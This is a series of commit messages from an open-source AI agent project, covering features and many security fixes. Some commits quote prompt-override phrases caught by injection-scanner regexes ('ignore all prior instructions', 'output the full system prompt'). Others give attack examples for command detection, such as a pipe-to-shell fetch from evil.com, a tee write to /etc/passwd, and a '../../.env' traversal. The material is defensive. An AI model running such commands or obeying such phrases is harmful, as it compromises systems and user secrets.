Includes 7 new tests (unit + integration) covering all three helpers.
Address code review findings:
Security (Medium):
- Path traversal guard in OptionalSkillSource.fetch() — resolve() and
validate that the path stays within optional-skills/ before reading
Bug fixes (Medium):
- Add 'builtin' to trust_style dicts in do_inspect() and
_resolve_short_name() — official skills now show bright_cyan 'official'
label consistently across all display functions (5/5 dicts fixed)
Edge cases (Low):
- Clamp page_size to [1, 100] in do_browse() to prevent ZeroDivisionError
- Update SkillMeta.source docstring to include 'official'
- Add browse command to optional-skills/DESCRIPTION.md
Add 'optional-skills/' directory for official skills that ship with the repo
but are not copied to ~/.hermes/skills/ during setup. They are:
- NOT shown to the model in the system prompt
- NOT copied during hermes setup/update
- Discoverable via 'hermes skills search' labeled as 'official'
- Installable via 'hermes skills install' with builtin trust (no third-party warning)
- Auto-categorized on install based on directory structure
Implementation:
- OptionalSkillSource adapter in tools/skills_hub.py (search/fetch/inspect)
- Added to create_source_router() as first source (highest priority)
- Trust level 'builtin' for official skills in skills_guard.py
- Friendly install message for official skills (no third-party warning)
- 'official' label in cyan in search results and skill list
First optional skill: Blackbox CLI (autonomous-ai-agents/blackbox)
- Multi-model coding agent with built-in judge/Chairman pattern
- Delegates to Claude, Codex, Gemini, and Blackbox models
- Open-source CLI (GPL-3.0, TypeScript, forked from Gemini CLI)
- Requires paid Blackbox AI API key
Refs: #475
On top of PR #460: self-hosted Firecrawl instances don't require an API
key (USE_DB_AUTHENTICATION=false), so don't force users to set a dummy
FIRECRAWL_API_KEY when FIRECRAWL_API_URL is set. Also adds a proper
self-hosting section to the configuration docs explaining what you get,
what you lose, and how to set it up (Docker stack, tradeoffs vs cloud).
Added 2 more tests (URL-only without key, neither-set raises).
Adds optional FIRECRAWL_API_URL environment variable to support
self-hosted Firecrawl deployments alongside the cloud service.
- Add FIRECRAWL_API_URL to optional env vars in hermes_cli/config.py
- Update _get_firecrawl_client() in tools/web_tools.py to accept custom API URL
- Add tests for client initialization with/without URL
- Document new env var in installation and config guides
ptyprocess depends on Unix-only APIs (fork, openpty) and cannot work
on Windows at all. pywinpty provides a compatible PtyProcess interface
using the Windows ConPTY API.
This conditionally imports winpty.PtyProcess on Windows and
ptyprocess.PtyProcess on Unix. The pyproject.toml pty extra now uses
platform markers so the correct package is installed automatically.
The Daytona SDK's process.exec(timeout=N) parameter is not enforced —
the server-side timeout never fires and the SDK has no client-side
fallback, causing commands to hang indefinitely.
Fix: wrap commands with timeout N sh -c '...' (coreutils) which
reliably kills the process and returns exit code 124. Added
shlex.quote for proper shell escaping and a secondary deadline (timeout + 10s) that force-stops the sandbox if the shell timeout somehow fails.
Signed-off-by: rovle <lovre.pesut@gmail.com>
state
- Replace logger.warning with warnings.warn for the disk cap so users
actually see it (logger was suppressed by CLI's log level config)
- Use SandboxState enum instead of string literals in
_ensure_sandbox_ready
Signed-off-by: rovle <lovre.pesut@gmail.com>
Add Daytona to image selection, container_config guards, environment
factory, requirements check, and diagnostics in terminal_tool.py and
file_tools.py. Also add to sandboxed-backend approval bypass.
Signed-off-by: rovle <lovre.pesut@gmail.com>
New execution backend using the Daytona Python SDK. Supports persistent
sandboxes via stop/start lifecycle, interrupt handling, and automatic
retry on transient errors.
Signed-off-by: rovle <lovre.pesut@gmail.com>
Authored by 0xbyt4. Wraps commands with unique fence markers to isolate real output
from shell init/exit noise (oh-my-zsh, macOS session restore, etc.). Falls back to
expanded pattern-based cleaning. Also fixes BSD find fallback and test module shadowing.
Authored by aydnOktay. Adds TimeoutError handling for session summarization,
better exception specificity in _format_timestamp, defensive try/except in
_resolve_to_parent, and type hints.
Authored by 0xbyt4.
The dedup logic in GitHubSource.search() and unified_search() used
'r.trust_level == "trusted"' which let trusted results overwrite builtin
ones. Now uses ranked comparison: builtin (2) > trusted (1) > community (0).
Authored by Farukest. Fixes#389.
Replaces hardcoded forward-slash string checks ('/.git/', '/.hub/') with
Path.parts membership test in _find_all_skills() and scan_skill_commands().
On Windows, str(Path) uses backslashes so the old filter never matched,
causing quarantined skills to appear as installed.
Authored by Farukest. Fixes#387.
Removes 'and not force' from the dangerous verdict check so --force
can never install skills with critical security findings (reverse shells,
data exfiltration, etc). The docstring already documented this behavior
but the code didn't enforce it.
Authored by Farukest. Fixes#385.
Replaces startswith() with Path.is_relative_to() in _check_structure()
symlink escape check — same fix pattern as skill_view() (PR #352).
Prevents symlinks escaping to sibling directories with shared name prefixes.
Some models send session_id as an integer instead of a string, causing
type errors downstream. Defensively cast session_id and write/submit
data args to str to handle non-compliant model outputs.
get_definitions() already wrapped check_fn() calls in try/except,
but is_toolset_available() did not. A failing check (network error,
missing import, bad config) would propagate uncaught and crash the
CLI banner, agent startup, and tools-info display.
Now is_toolset_available() catches all exceptions and returns False,
matching the existing pattern in get_definitions().
Added 4 tests covering exception handling in is_toolset_available(),
check_toolset_requirements(), get_definitions(), and
check_tool_availability().
Closes#402
The hidden directory filter used hardcoded forward-slash strings like
'/.git/' and '/.hub/' to exclude internal directories. On Windows,
Path returns backslash-separated strings, so the filter never matched.
This caused quarantined skills in .hub/quarantine/ to appear as
installed skills and available slash commands on Windows.
Replaced string-based checks with Path.parts membership test which
works on both Windows and Unix.
The docstring states --force should never override dangerous verdicts,
but the condition `if result.verdict == "dangerous" and not force`
allowed force=True to skip the early return. Execution then fell
through to `if force: return True`, bypassing the policy block.
Removed `and not force` so dangerous skills are always blocked
regardless of the --force flag.
The symlink escape check in _check_structure() used startswith()
without a trailing separator. A symlink resolving to a sibling
directory with a shared prefix (e.g. 'axolotl-backdoor') would pass
the check for 'axolotl' since the string prefix matched.
Replaced with Path.is_relative_to() which correctly handles directory
boundaries and is consistent with the skill_view path check.
session_search was returning the current session if it matched the
query, which is redundant — the agent already has the current
conversation context. This wasted an LLM summarization call and a
result slot.
Added current_session_id parameter to session_search(). The agent
passes self.session_id and the search filters out any results where
either the raw or parent-resolved session ID matches. Both the raw
match and the parent-resolved match are checked to handle child
sessions from delegation.
Two tests added verifying the exclusion works and that other
sessions are still returned.
Systematic audit of all prompt injection regexes in skills_guard.py
found 8 more patterns with the same single-word gap vulnerability
fixed in PR #192. Multi-word variants like 'pretend that you are',
'output the full system prompt', 'respond without your safety
filters', etc. all bypassed the scanner.
Fixed patterns:
- you are [now] → you are [... now]
- do not [tell] the user → do not [... tell ... the] user
- pretend [you are|to be] → pretend [... you are|to be]
- output the [system|initial] prompt → output [... system|initial] prompt
- act as if you [have no] [restrictions] → act as if [... you ... have no ... restrictions]
- respond without [restrictions] → respond without [... restrictions]
- you have been [updated] to → you have been [... updated] to
- share [the] [entire] [conversation] → share [... conversation]
All use (?:\w+\s+)* to allow arbitrary intermediate words.
The 'disregard ... instructions/rules/guidelines' regex had the
same single-word gap vulnerability as the 'ignore' pattern fixed
in PR #192. 'disregard all your instructions' bypassed the scanner.
Added (?:\w+\s+)* between both keyword groups to allow arbitrary
intermediate words.
Authored by 0xbyt4.
The 'ignore ... instructions' regex only matched a single word between
'ignore' and the keyword (previous/all/above/prior). Multi-word variants
like 'ignore all prior instructions' bypassed the scanner entirely.
Replace the string-based startswith + os.sep approach with
Path.is_relative_to() (Python 3.9+, we require 3.10+). This is
the idiomatic pathlib way to check path containment — it handles
separators, case sensitivity, and the equal-path case natively
without string manipulation.
Simplified tests to match: removed the now-unnecessary
test_separator_is_os_native test since is_relative_to doesn't
depend on separator choice.
Improvements to the HA integration merged from PR #184:
- Add ha_list_services tool: discovers available services (actions) per
domain with descriptions and parameter fields. Tells the model what
it can do with each device type (e.g. light.turn_on accepts brightness,
color_name, transition). Closes the gap where the model had to guess
available actions.
- Add HA to hermes tools config: users can enable/disable the homeassistant
toolset and configure HASS_TOKEN + HASS_URL through 'hermes tools' setup
flow instead of manually editing .env.
- Fix should-fix items from code review:
- Remove sys.path.insert hack from gateway adapter
- Replace all print() calls with proper logger (info/warning/error)
- Move env var reads from import-time to handler-time via _get_config()
- Add dedicated REST session reuse in gateway send()
- Update ha_call_service description to reference ha_list_services for
action discovery.
- Update tests for new ha_list_services tool in toolset resolution.
- Add scripts/install.cmd batch wrapper for CMD users (delegates to install.ps1)
- Add _find_shell() in local.py: detects Git Bash on Windows via
HERMES_GIT_BASH_PATH env var, shutil.which, or common install paths
(same pattern as Claude Code's CLAUDE_CODE_GIT_BASH_PATH)
- Use _find_shell() in process_registry.py for background processes
- Fix hermes_cli/gateway.py: use wmic instead of ps aux on Windows,
skip SIGKILL (doesn't exist on Windows), fix venv path
(Scripts/python.exe vs bin/python)
- Update README with three install commands (Linux/macOS, PowerShell, CMD)
and Windows native documentation
Requires Git for Windows, which bundles bash.exe. The terminal tool
transparently uses Git Bash for shell commands regardless of whether
the user launched hermes from PowerShell or CMD.
Banner integration:
- MCP Servers section in CLI startup banner between Tools and Skills
- Shows each server with transport type, tool count, connection status
- Failed servers shown in red; section hidden when no MCP configured
- Summary line includes MCP server count
- Removed raw print() calls from discovery (banner handles display)
/reload-mcp command:
- New slash command in both CLI and gateway
- Disconnects all MCP servers, re-reads config.yaml, reconnects
- Reports what changed (added/removed/reconnected servers)
- Allows adding/removing MCP servers without restarting
Resources & Prompts support:
- 4 utility tools registered per server: list_resources, read_resource,
list_prompts, get_prompt
- Exposes MCP Resources (data sources) and Prompts (templates) as tools
- Proper parameter schemas (uri for read_resource, name for get_prompt)
- Handles text and binary resource content
- 23 new tests covering schemas, handlers, and registration
Test coverage: 74 MCP tests total, 1186 tests pass overall.
- Discovery is now parallel (asyncio.gather) instead of sequential,
fixing the 60s shared timeout issue with multiple servers
- Startup messages use print() so users see connection status even
with default log levels (the 'tools' logger is set to ERROR)
- Summary line shows total tools and failed servers count
- Validate conflicting config: warn if both 'url' and 'command' are
present (HTTP takes precedence)
- Update TODO.md: mark MCP as implemented, list remaining work
- Add test for conflicting config detection (51 tests total)
All 1163 tests pass.
- Wrap commands with unique fence markers (printf FENCE; cmd; printf FENCE)
to isolate real output from shell init/exit noise (oh-my-zsh, macOS
session restore/save, docker plugin errors, etc.)
- Expand _clean_shell_noise to cover zsh/macOS patterns and strip from
both beginning and end (fallback when fences are missing)
- Fix BSD find compatibility: fallback to simple find when -printf
produces empty output (macOS)
- Fix test_terminal_disk_usage: use sys.modules to get the real module
instead of the shadowed function from tools/__init__.py
- Add 13 new unit tests for fence extraction and zsh noise patterns
- Add threading.Lock protecting all shared state (_servers, _mcp_loop, _mcp_thread)
- Fix deadlock in shutdown_mcp_servers: _stop_mcp_loop was called inside
a _lock block but also acquires _lock (non-reentrant)
- Fix race condition in _ensure_mcp_loop with concurrent callers
- Change idempotency to per-server (retry failed servers, skip connected)
- Dynamic toolset injection via startswith("hermes-") instead of hardcoded list
- Parallel shutdown via asyncio.gather instead of sequential loop
- Add tests for partial failure retry, parallel shutdown, dynamic injection
When discover_mcp_tools() is called multiple times (e.g. direct call
then model_tools import), return existing tool names instead of opening
new connections that would orphan the previous ones.
Refactor MCP connections from AsyncExitStack to task-per-server
architecture. Each server now runs as a long-lived asyncio Task
with `async with stdio_client(...)`, ensuring anyio cancel-scope
cleanup happens in the same Task that opened the connection.
Connect to external MCP servers via stdio transport, discover their tools
at startup, and register them into the hermes-agent tool registry.
- New tools/mcp_tool.py: config loading, server connection via background
event loop, tool handler factories, discovery, and graceful shutdown
- model_tools.py: trigger MCP discovery after built-in tool imports
- cli.py: call shutdown_mcp_servers in _run_cleanup
- pyproject.toml: add mcp>=1.2.0 as optional dependency
- 27 unit tests covering config, schema conversion, handlers, registration,
SDK interaction, toolset injection, graceful fallback, and shutdown
Config format (in ~/.hermes/config.yaml):
mcp_servers:
filesystem:
command: "npx"
args: ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]
Three attack vectors bypassed the dangerous command detection system:
1. tee writes to sensitive paths (/etc/, /dev/sd, .ssh/, .hermes/.env)
were not detected. tee writes to files just like > but was absent
from DANGEROUS_PATTERNS.
Example: echo 'evil' | tee /etc/passwd
2. curl/wget via process substitution bypassed the pipe-to-shell check.
The existing pattern only matched curl ... | bash but not
bash <(curl ...) which is equally dangerous.
Example: bash <(curl http://evil.com/install.sh)
3. find -exec with full-path rm (e.g. /bin/rm, /usr/bin/rm) was not
caught. The pattern only matched bare rm, not absolute paths.
Example: find . -exec /bin/rm {} \;
skill_view accepted arbitrary file_path values like '../../.env' and
would read files outside the skill directory, exposing API keys and
other sensitive data.
Added two layers of defense:
1. Reject paths with '..' components (fast, catches obvious traversal)
2. resolve() containment check with trailing '/' to prevent prefix
collisions (catches symlinks and edge cases)
Fix approach from PR #242 (@Bartok9). Vulnerability reported by
@Farukest (#220, PR #221). Tests rewritten to properly mock SKILLS_DIR.
Closes#220
The Docker sandbox previously used --read-only on the root filesystem and
noexec on /tmp. This broke 30+ skills that need to install packages:
- npm install -g (codex, claude-code, mcporter, powerpoint)
- pip install (20+ mlops/media/productivity skills)
- apt install (minecraft-modpack-server, ml-paper-writing)
- Build tools that compile in /tmp (pip wheels, node-gyp)
The container is already fully isolated from the host. Industry standard
(E2B, Docker Sandboxes, OpenAI Codex) does not use --read-only — the
container itself is the security boundary.
Retained security hardening:
- --cap-drop ALL (zero capabilities)
- --security-opt no-new-privileges (no escalation)
- --pids-limit 256 (no fork bombs)
- Size-limited tmpfs for /tmp, /var/tmp, /run
- nosuid on all tmpfs mounts
- noexec on /var/tmp and /run (rarely need exec there)
- Resource limits (CPU, memory, disk)
- Ephemeral containers (destroyed after use)
Fixes#189.
logger.error() only records the exception message string, silently
discarding the stack trace. Switch to logger.exception() which
automatically appends the full traceback to the log output.
Without this change, when a tool handler raises an unexpected error
the log shows only the exception type and message, making it
impossible to determine which line caused the failure or trace
through nested calls.
Updated documentation within terminal_tool.py to emphasize the appropriate use of foreground and background processes. Enhanced descriptions for the timeout setting and background execution to guide users towards optimal configurations for scripts, builds, and long-running tasks. Adjusted the default timeout value from 60 to 180 seconds for improved handling of longer operations.
Updated the environment variables for subprocess execution in the ProcessRegistry class to set PYTHONUNBUFFERED to "1". This change ensures that output from Python scripts is unbuffered, allowing for real-time visibility of progress during background execution. Adjusted both the pty and background process spawning methods to use the new environment configuration.
Block dangerous HA service domains (shell_command, command_line,
python_script, pyscript, hassio, rest_command) that allow arbitrary
code execution or SSRF. Add regex validation for entity_id to prevent
path traversal attacks. 17 new tests covering both security features.
Two fixes to the subagent progress display from PR #186:
1. Task index prefix: show 1-indexed prefix ([1], [2], ...) for ALL
tasks in batch mode (task_count > 1). Single tasks get no prefix.
Previously task 0 had no prefix while others did, making batch
output confusing.
2. Completion indicator: use spinner.print_above() instead of raw
print() for per-task completion lines (✓ [1/2] ...). Raw print
collided with the active spinner, mushing the completion text
onto the spinner line. Now prints cleanly above.
Added task_count parameter to _build_child_progress_callback and
_run_single_child. Updated tests accordingly.
When subagents run via delegate_task, the user now sees real-time
progress instead of silence:
CLI: tree-view activity lines print above the delegation spinner
🔀 Delegating: research quantum computing
├─ 💭 "I'll search for papers first..."
├─ 🔍 web_search "quantum computing"
├─ 📖 read_file "paper.pdf"
└─ ⠹ working... (18.2s)
Gateway (Telegram/Discord): batched progress summaries sent every
5 tool calls to avoid message spam. Remaining tools flushed on
subagent completion.
Changes:
- agent/display.py: add KawaiiSpinner.print_above() to print
status lines above an active spinner without disrupting animation.
Uses captured stdout (self._out) so it works inside the child's
redirect_stdout(devnull).
- tools/delegate_tool.py: add _build_child_progress_callback()
that creates a per-child callback relaying tool calls and
thinking events to the parent's spinner (CLI) or progress
queue (gateway). Each child gets its own callback instance,
so parallel subagents don't share state. Includes _flush()
for gateway batch completion.
- run_agent.py: fire tool_progress_callback with '_thinking'
event when the model produces text content. Guarded by
_delegate_depth > 0 so only subagents fire this (prevents
gateway spam from main agent). REASONING_SCRATCHPAD/think/
reasoning XML tags are stripped before display.
Tests: 21 new tests covering print_above, callback builder,
thinking relay, SCRATCHPAD filtering, batching, flush, thread
isolation, delegate_depth guard, and prefix handling.
- Introduce a new test suite in `test_file_tools_live.py` to validate file operations and ensure accurate command execution in a real environment.
- Implement assertions to check for shell noise contamination in outputs, enhancing the reliability of command results.
- Create fixtures for setting up a local environment and populating directories with known file contents for comprehensive testing.
- Refactor shell noise handling in `process_registry.py` and `local.py` to support multiple noise patterns, improving output cleanliness.
- Introduce a new test suite for the `redact_sensitive_text` function, covering various sensitive data formats including API keys, tokens, and environment variables.
- Ensure that sensitive information is properly masked in logs and outputs while non-sensitive data remains unchanged.
- Add tests for different scenarios including JSON fields, authorization headers, and environment variable assignments.
- Implement a redacting formatter for logging to enhance security during log output.
- Enhanced Codex model discovery by fetching available models from the API, with fallback to local cache and defaults.
- Updated the context compressor's summary target tokens to 2500 for improved performance.
- Added external credential detection for Codex CLI to streamline authentication.
- Refactored various components to ensure consistent handling of authentication and model selection across the application.
os.setsid, os.killpg, and os.getpgid do not exist on Windows and raise
AttributeError on import or first call. This breaks the terminal tool,
code execution sandbox, process registry, and WhatsApp bridge on Windows.
Added _IS_WINDOWS platform guard in all four affected files, following
the pattern documented in CONTRIBUTING.md. On Windows, preexec_fn is
set to None and process termination falls back to proc.terminate() /
proc.kill() instead of process group signals.
Files changed:
- tools/environments/local.py (3 call sites)
- tools/process_registry.py (2 call sites)
- tools/code_execution_tool.py (3 call sites)
- gateway/platforms/whatsapp.py (3 call sites)
- unified_search and GitHubSource.search dedup: replace naive
`trust_level == "trusted"` check with ranked comparison so
"builtin" results are never overwritten by "trusted" or "community"
- Add 43 unit tests covering _parse_frontmatter_quick, trust_level_for,
HubLockFile CRUD, TapsManager ops, LobeHub _convert_to_skill_md,
unified_search dedup (with regression test), and append_audit_log
The regex `ignore\s+(previous|all|...)\s+instructions` only matched
a single keyword between 'ignore' and 'instructions'. Phrases like
'ignore all prior instructions' bypassed the scanner entirely.
Changed to `ignore\s+(?:\w+\s+)*(previous|all|...)\s+instructions`
to allow arbitrary words before the keyword.
- Auto-authorize HA events in gateway (system-generated, not user messages)
- Guard _read_events against None/closed WebSocket after failed reconnect
- Use UUID for send() message_id instead of polluting WS sequence counter
- entity_id parameter now takes precedence over data["entity_id"]
- Add ha_list_entities, ha_get_state, ha_call_service tools via REST API
- Add WebSocket gateway adapter for real-time state_changed event monitoring
- Support domain/entity filtering, cooldown, and auto-reconnect with backoff
- Use REST API for outbound notifications to avoid WS race condition
- Gate tool availability on HASS_TOKEN env var
- Add 82 unit tests covering real logic (filtering, payload building, event pipeline)
- Use ENTRY_DELIMITER (\\n§\\n) instead of '§' when splitting entries in _read_file
- Prevents incorrect parsing when memory entries contain '§' character
- Aligns read logic with write logic for consistency
- Introduced new skills for extracting text from PDFs, scanned documents, and images using OCR and document parsing tools.
- Added detailed documentation for usage and installation of `pymupdf` and `marker-pdf` for local extraction.
- Implemented scripts for text extraction with both lightweight and high-quality options, including support for various document formats.
- Updated web extraction functionality to handle PDF URLs directly, enhancing usability for academic papers and documents.
- Added _max_tokens_param method in AIAgent to return appropriate max tokens parameter based on the provider (OpenAI vs. others).
- Updated API calls in AIAgent to utilize the new max tokens handling.
- Introduced auxiliary_max_tokens_param function in auxiliary_client for consistent max tokens management across auxiliary clients.
- Refactored multiple tools to use auxiliary_max_tokens_param for improved compatibility with different models and providers.
- Removed fallback to OPENAI_API_KEY in favor of exclusively using VOICE_TOOLS_OPENAI_KEY for improved clarity and consistency.
- Updated environment variable checks to ensure only VOICE_TOOLS_OPENAI_KEY is considered, enhancing error handling and messaging.
Opt-in persistent cross-session user modeling via Honcho. Reads
~/.honcho/config.json as single source of truth (shared with
Claude Code, Cursor, and other Honcho-enabled tools). Zero impact
when disabled or unconfigured.
- honcho_integration/ package (client, session manager, peer resolution)
- Host-based config resolution matching claude-honcho/cursor-honcho pattern
- Prefetch user context into system prompt per conversation turn
- Sync user/assistant messages to Honcho after each exchange
- query_user_context tool for mid-conversation dialectic reasoning
- Gated activation: requires ~/.honcho/config.json with enabled=true
- Updated the installation script to check for necessary build tools on Debian/Ubuntu systems and prompt the user to install them if missing.
- Improved user interaction by redirecting input from /dev/tty for prompts, ensuring compatibility when the script is piped from curl.
- Added checks to verify the successful installation of the main package and provide guidance if installation fails.
- Enhanced the handling of shell configuration files to ensure ~/.local/bin is added to PATH for various shell types.
The regex pattern for detecting recursive delete commands (rm -r, rm -rf,
etc.) incorrectly matched filenames starting with 'r' — e.g., 'rm readme.txt'
was flagged as 'recursive delete' because the dash-flag group was optional.
Fix: make the dash mandatory so only actual flags (-r, -rf, -rfv, -fr)
are matched. This eliminates false approval prompts for innocent commands
like 'rm readme.txt', 'rm requirements.txt', 'rm report.csv', etc.
Before: \brm\s+(-[^\s]*)?r — matches 'rm readme.txt' (false positive)
After: \brm\s+-[^\s]*r — requires '-' prefix, no false positives
The sudo password was embedded in shell commands via single-quote
interpolation: echo '{password}' | sudo -S
If the password contained shell metacharacters (single quotes,
$(), backticks), they would be interpreted by the shell, enabling
arbitrary command execution.
Fix: use shlex.quote() which properly escapes all shell-special
characters, ensuring the password is always treated as a literal
string argument to echo.
The regex `ignore\s+(previous|all|above|prior)\s+instructions` only
allowed ONE word between "ignore" and "instructions". Multi-word
variants like "Ignore ALL prior instructions" bypassed the scanner
because "ALL" matched the alternation but then `\s+instructions`
failed to match "prior".
Fix: use `(?:\w+\s+)*` groups to allow optional extra words before
and after the keyword alternation.
On macOS, /etc is a symlink to /private/etc. The _is_write_denied()
function resolves the input path with os.path.realpath() but the deny
list entries were stored as literal strings ("/etc/shadow"). This meant
the resolved path "/private/etc/shadow" never matched, allowing writes
to sensitive system files on macOS.
Fix: Apply os.path.realpath() to deny list entries at module load time
so both sides of the comparison use resolved paths.
Adds 19 regression tests in tests/tools/test_write_deny.py.
The SSH backend was missing from check_terminal_requirements(), causing
it to fall through to `return False`. This silently disabled both the
terminal and file tools when TERMINAL_ENV=ssh was configured.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Introduced a static method to verify if the Docker storage driver supports the --storage-opt size= option.
- Enhanced resource argument handling in DockerEnvironment to conditionally include storage options based on the support check.
- Added caching for the support check result to optimize performance across instances.
The browser_tool signal handler calls sys.exit(130) which raises
SystemExit. When this fires during terminal_tool's atexit cleanup
(specifically during _cleanup_thread.join()), it produces an unhandled
traceback. Wrapping the join in a try/except suppresses the race
without changing shutdown behavior.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude <noreply@anthropic.com>
The security scanner (skills_guard.py) was only wired into the hub install path.
All other write paths to persistent state — skills created by the agent, memory
entries, cron prompts, and context files — bypassed it entirely. This closes
those gaps:
- file_operations: deny-list blocks writes to ~/.ssh, ~/.aws, ~/.hermes/.env, etc.
- code_execution_tool: filter secret env vars from sandbox child process
- skill_manager_tool: wire scan_skill() into create/edit/patch/write_file with rollback
- skills_guard: add "agent-created" trust level (same policy as community)
- memory_tool: scan content for injection/exfil before system prompt injection
- prompt_builder: scan AGENTS.md, .cursorrules, SOUL.md for prompt injection
- cronjob_tools: scan cron prompts for critical threats before scheduling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When using Nous Portal (or any non-OpenRouter provider), child agents
spawned by delegate_task failed with "No pricing available" or "Unknown
model" errors because they had no valid API key.
The delegate tool passed base_url but not api_key to child AIAgent
instances. Without an explicit key, children fell back to the empty
OPENROUTER_API_KEY env var, causing auth failures.
Extract the parent's API key from _client_kwargs and pass it through.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Three issues prevented the Docker terminal backend from working:
1. `effective_image` was referenced but never defined — only the Modal
backend sets this variable. Use `image` directly instead.
2. `--storage-opt size=N` is unsupported on Docker Desktop for Mac
(requires overlay2 with xfs backing). Skip the flag on Darwin.
3. Docker requires absolute paths for `-w` (working directory) but the
default cwd was `~`, which Docker does not expand. Default to `/root`
and translate any `~` passed in from callers.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Added functionality to include product attribution tags for Nous Portal in auxiliary API calls.
- Introduced a mechanism to determine if the auxiliary client is backed by Nous Portal, affecting the extra body of requests.
- Updated various tools to utilize the new extra body configuration for enhanced tracking in API calls.
- Introduced a new static method `_clean_session_content` in the `AIAgent` class to convert REASONING_SCRATCHPAD tags to <think> blocks and clean up whitespace in session logs.
- Updated the `_save_session_log` method to utilize the cleaned content for assistant messages, ensuring consistency in session logs.
- Changed the default output directory for TTS audio files from `~/voice-memos` to `~/.hermes/audio_cache`, reflecting a more appropriate storage location.
- Included a note clarifying that the agent's final response is auto-delivered to the target, advising against using send_message in the prompt. This enhances user understanding of the message delivery process.
- Eliminated the temporary debug logging in the `execute_code` function that tracked enabled and sandbox tools, streamlining the code and reducing clutter.
- Modified the `_wrap` function to append a failure suffix without applying red coloring, simplifying the failure message format.
- Introduced temporary debug logging in the `execute_code` function to track enabled and sandbox tools, aiding in troubleshooting.
- Saved and restored stdout/stderr to prevent redirection issues in child threads, ensuring consistent output during task delegation.
- Enhanced reliability of output handling in concurrent execution scenarios.
- Added a new function to resolve child sessions to their parent, improving session grouping and deduplication.
- Refactored session summarization to run in parallel, enhancing performance and responsiveness.
- Updated search syntax documentation to clarify usage of keywords and phrases for better search results.
- Implemented functionality to load ephemeral prefill messages from a JSON file, enhancing few-shot priming capabilities for the agent.
- Introduced a mechanism to load an ephemeral system prompt from environment variables or configuration files, ensuring dynamic prompt adjustments at API-call time.
- Updated the CLI and agent initialization to utilize the new prefill messages and system prompt, improving the overall interaction experience.
- Enhanced configuration options with new environment variables for prefill messages and system prompts, allowing for greater customization without persistence.
- Added a new section in the README for Inference Providers, detailing setup instructions for Nous Portal, OpenRouter, and Custom Endpoints, improving user guidance for LLM connections.
- Updated messaging platform setup instructions to include Slack and WhatsApp, providing clearer steps for configuration.
- Introduced a new environment variable, TERMINAL_SANDBOX_DIR, to allow users to customize the sandbox storage location for Docker and Singularity environments.
- Refactored the Docker and Singularity environment classes to utilize the new sandbox directory for persistent workspaces, enhancing organization and usability.
- Improved handling of working directories across various environments, ensuring compatibility and clarity in execution paths.
- Updated the README to include new badges, a detailed description of the Hermes Agent, and a table summarizing its features, improving clarity and presentation for users.
- Modified the API client initialization in `transcription_tools.py` and `tts_tool.py` to include a base URL, ensuring compatibility with the OpenAI API.
- Updated the environment variable name from HERMES_OPENAI_API_KEY to VOICE_TOOLS_OPENAI_KEY across multiple files to avoid interference with OpenRouter.
- Adjusted related error messages and configuration prompts to reflect the new variable name, ensuring consistency throughout the codebase.
- Introduced a shared interrupt signaling mechanism to allow tools to check for user interrupts during long-running operations.
- Updated the AIAgent to handle interrupts more effectively, ensuring in-progress tool calls are canceled and multiple interrupt messages are combined into one prompt.
- Enhanced the CLI configuration to include container resource limits (CPU, memory, disk) and persistence options for Docker, Singularity, and Modal environments.
- Improved documentation to clarify interrupt behaviors and container resource settings, providing users with better guidance on configuration and usage.
- Introduced a new channel directory to cache reachable channels/contacts for messaging platforms, enhancing the send_message tool's ability to resolve human-friendly names to numeric IDs.
- Added functionality to mirror sent messages into the target's session transcript, providing context for cross-platform message delivery.
- Updated the send_message tool to support listing available targets and improved error handling for channel resolution.
- Enhanced the gateway to build and refresh the channel directory during startup and at regular intervals, ensuring up-to-date channel information.
- Enhanced warning in `_deliver_result` to provide clearer instructions for setting the home channel.
- Updated error message in `send_message_tool` to specify how to set a home channel when no chat ID is provided, improving user guidance.
- Updated the authorization logic to include a per-platform allow-all flag for improved flexibility.
- Revised the order of checks to prioritize platform-specific allow-all settings, followed by environment variable allowlists and DM pairing approvals.
- Added global allow-all configuration for broader access control.
- Improved handling of allowlists by stripping whitespace and ensuring valid entries are processed.
- Introduced a new `_format_timestamp` function to convert Unix timestamps and ISO strings into a human-readable date format.
- Updated the session metadata handling to use the new formatting function for improved clarity in session start dates.
- Adjusted the output structure to reflect the change from "Session started" to "Session date" for better user understanding.
- Introduced MEMORY_GUIDANCE and SESSION_SEARCH_GUIDANCE to improve agent's contextual awareness and proactive assistance.
- Updated AIAgent to conditionally include tool-aware guidance in prompts based on available tools.
- Enhanced descriptions in memory and session search schemas for clearer user instructions on when to utilize these features.
- Removed legacy cron daemon functionality, integrating cron job execution directly into the gateway process for improved efficiency.
- Updated CLI commands to reflect changes, replacing `hermes cron daemon` with `hermes cron status` and enhancing documentation for cron job management.
- Clarified messaging in the README and other documentation regarding the gateway's role in managing cron jobs.
- Removed obsolete terminal_hecate tool and related configurations to simplify the codebase.
- Updated the environment creation condition to specifically check for "singularity" instead of allowing "local", ensuring more precise handling of environment types during task execution.
- Added functionality to suppress logging noise from specific modules when in quiet mode, improving user experience in CLI.
- Updated terminal_tool.py to change the log level for fallback directory usage from warning to debug, providing clearer context without cluttering logs.
- Added methods for handling sudo password and dangerous command approval prompts using a callback mechanism in cli.py.
- Integrated these prompts with the prompt_toolkit UI for improved user experience.
- Updated terminal_tool.py to support callback registration for interactive prompts, enhancing the CLI's interactivity.
- Introduced a background thread for API calls in run_agent.py to allow for interrupt handling during long-running operations.
- Enhanced error handling for interrupted API calls, ensuring graceful degradation of user experience.
- Introduced a new DebugSession class in tools/debug_helpers.py to centralize debug logging functionality, replacing duplicated code across various tool modules.
- Updated image_generation_tool.py, mixture_of_agents_tool.py, vision_tools.py, web_tools.py, and others to utilize the new DebugSession for logging tool calls and saving debug logs.
- Enhanced maintainability and consistency in debug logging practices across the codebase.
- Updated various modules including cli.py, run_agent.py, gateway, and tools to replace silent exception handling with structured logging.
- Improved error messages to provide more context, aiding in debugging and monitoring.
- Ensured consistent logging practices throughout the codebase, enhancing traceability and maintainability.
- Introduced logging functionality in cli.py, run_agent.py, scheduler.py, and various tool modules to replace print statements with structured logging.
- Enhanced error handling and informational messages to improve debugging and monitoring capabilities.
- Ensured consistent logging practices across the codebase, facilitating better traceability and maintenance.
